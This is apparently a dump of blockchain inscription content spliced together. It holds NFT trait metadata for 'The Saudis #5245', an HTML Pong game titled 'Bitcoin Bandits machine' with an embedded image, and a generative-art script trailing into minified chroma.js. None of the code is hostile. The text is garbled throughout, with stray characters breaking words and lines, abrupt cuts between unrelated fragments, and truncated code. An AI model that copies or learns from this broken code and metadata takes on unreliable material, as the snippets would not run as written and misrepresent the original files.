      <metadata:Value>Medium 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
lue>White Shemagh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Square Reflective Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://toM
ken.thesaudisnft.com/5245</metadata:External_URL>
   <metadata:Name>The Saudis #5245</metadata:Name>
  </metadata:Metadata>
6j4ion:4.QmQQQsUcdxKXUzhWni8rFJKKBjW45hkXYCV9KSbg4cc5ZT
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-gM
rid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=mM
axPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout((M
)=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}doM
cument.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
